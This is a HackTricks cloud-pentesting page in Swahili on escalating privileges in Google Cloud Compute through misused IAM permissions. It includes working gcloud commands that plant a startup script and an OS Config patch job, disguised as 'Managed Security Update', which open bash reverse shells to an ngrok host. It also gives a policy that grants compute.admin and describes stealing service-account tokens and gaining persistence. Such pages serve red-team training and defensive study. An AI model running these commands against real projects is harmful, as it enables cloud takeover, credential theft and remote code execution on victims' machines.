GCP - Compute Privesc
Reading time: 6 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Compute
Kwa maelezo zaidi kuhusu Compute na VPC (mtandao) katika GCP angalia:
caution
Kumbuka kwamba ili kufanya mashambulizi yote ya kupandisha hadhi yanayohitaji kubadilisha metadata ya instance (kama kuongeza watumiaji wapya na funguo za SSH) ni muhimu kuwa na ruhusa za actAs
juu ya SA iliyoambatanishwa na instance, hata kama SA tayari imeambatanishwa!
compute.projects.setCommonInstanceMetadata
Kwa ruhusa hiyo unaweza kubadilisha taarifa za metadata za instance na kubadilisha funguo zilizoidhinishwa za mtumiaji, au kuunda mtumiaji mpya mwenye ruhusa za sudo. Hivyo, utaweza kuingia kupitia SSH kwenye instance yoyote ya VM na kuiba GCP Service Account ambayo Instance inatumia.
Vikwazo:
- Kumbuka kwamba GCP Service Accounts zinazotumika katika VM instances kwa kawaida zina mipaka finyu sana
- Itabidi uwe na uwezo wa kuwasiliana na seva ya SSH ili kuingia
Kwa maelezo zaidi kuhusu jinsi ya kutumia ruhusa hii angalia:
Unaweza pia kufanya shambulizi hili kwa kuongeza script mpya ya kuanzisha na kuanzisha upya instance:
gcloud compute instances add-metadata my-vm-instance \
--metadata startup-script='#!/bin/bash
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18347 0>&1 &'
gcloud compute instances reset my-vm-instance
compute.instances.setMetadata
Ruhusa hii inatoa privilege sawa na ruhusa ya awali lakini juu ya mifano maalum badala ya mradi mzima. Mizaha na mipaka sawa na ile ya sehemu ya awali inatumika.
compute.instances.setIamPolicy
Aina hii ya ruhusa itakuruhusu kujipe nafasi na ruhusa za awali na kupandisha mamlaka kwa kuzitumia vibaya. Hapa kuna mfano wa kuongeza roles/compute.admin
kwa Akaunti ya Huduma:
export SERVER_SERVICE_ACCOUNT=YOUR_SA
export INSTANCE=YOUR_INSTANCE
export ZONE=YOUR_INSTANCE_ZONE
cat <<EOF > policy.json
bindings:
- members:
- serviceAccount:$SERVER_SERVICE_ACCOUNT
role: roles/compute.admin
version: 1
EOF
gcloud compute instances set-iam-policy $INSTANCE policy.json --zone=$ZONE
compute.instances.osLogin
Ikiwa OSLogin imewezeshwa katika mfano, kwa ruhusa hii unaweza tu kukimbia gcloud compute ssh [INSTANCE]
na kuungana na mfano. Hutaweza kuwa na root privs ndani ya mfano.
tip
Ili kuingia kwa mafanikio na ruhusa hii ndani ya mfano wa VM, unahitaji kuwa na ruhusa ya iam.serviceAccounts.actAs
juu ya SA iliyoambatanishwa na VM.
compute.instances.osAdminLogin
Ikiwa OSLogin imewezeshwa katika mfano, kwa ruhusa hii unaweza tu kukimbia gcloud compute ssh [INSTANCE]
na kuungana na mfano. Utakuwa na root privs ndani ya mfano.
tip
Ili kuingia kwa mafanikio na ruhusa hii ndani ya mfano wa VM, unahitaji kuwa na ruhusa ya iam.serviceAccounts.actAs
juu ya SA iliyoambatanishwa na VM.
compute.instances.create
,iam.serviceAccounts.actAs, compute.disks.create
, compute.instances.create
, compute.instances.setMetadata
, compute.instances.setServiceAccount
, compute.subnetworks.use
, compute.subnetworks.useExternalIp
Inawezekana kuunda mashine ya virtual yenye Akaunti ya Huduma iliyotolewa na kuiba tokeni ya akaunti ya huduma kwa kufikia metadata ili kupandisha ruhusa kwake.
Script ya exploit kwa njia hii inaweza kupatikana hapa.
osconfig.patchDeployments.create
| osconfig.patchJobs.exec
Ikiwa una osconfig.patchDeployments.create
au osconfig.patchJobs.exec
ruhusa unaweza kuunda kazi ya patch au uwekaji. Hii itakuruhusu kuhamasisha kwa upande katika mazingira na kupata utekelezaji wa msimbo kwenye mifano yote ya kompyuta ndani ya mradi.
Kumbuka kwamba kwa sasa huhitaji ruhusa ya actAs
juu ya SA iliyoambatanishwa na mfano.
Ikiwa unataka kutumia hii kwa mikono utahitaji kuunda ama kazi ya patch au uwekaji.
Ili kukimbia kazi ya patch:
cat > /tmp/patch-job.sh <<EOF
#!/bin/bash
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18442 0>&1
EOF
gsutil cp /tmp/patch-job.sh gs://readable-bucket-by-sa-in-instance/patch-job.sh
# Get the generation number
gsutil ls -a gs://readable-bucket-by-sa-in-instance
gcloud --project=$PROJECT_ID compute os-config patch-jobs execute \
--instance-filter-names=zones/us-central1-a/instances/<instance-name> \
--pre-patch-linux-executable=gs://readable-bucket-by-sa-in-instance/patch-job.sh#<generation-number> \
--reboot-config=never \
--display-name="Managed Security Update" \
--duration=300s
Ili kupeleka usasishaji wa patch:
gcloud compute os-config patch-deployments create <name> ...
Chombo patchy kinaweza kutumika zamani kwa kutumia hii misconfiguration (lakini sasa hakifanyi kazi).
Mshambuliaji anaweza pia kutumia hii kwa kudumu.
compute.machineImages.setIamPolicy
Jipatie ruhusa za ziada kwa picha ya kompyuta.
compute.snapshots.setIamPolicy
Jipatie ruhusa za ziada kwa picha ya diski.
compute.disks.setIamPolicy
Jipatie ruhusa za ziada kwa diski.
Pita Mipaka ya Ufikiaji
Kufuata kiungo hiki utapata baadhi ya wazo za kujaribu kupita mipaka ya ufikiaji.
Kuinua Haki za Mlokole katika GCP Compute instance
GCP - local privilege escalation ssh pivoting
Marejeleo
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.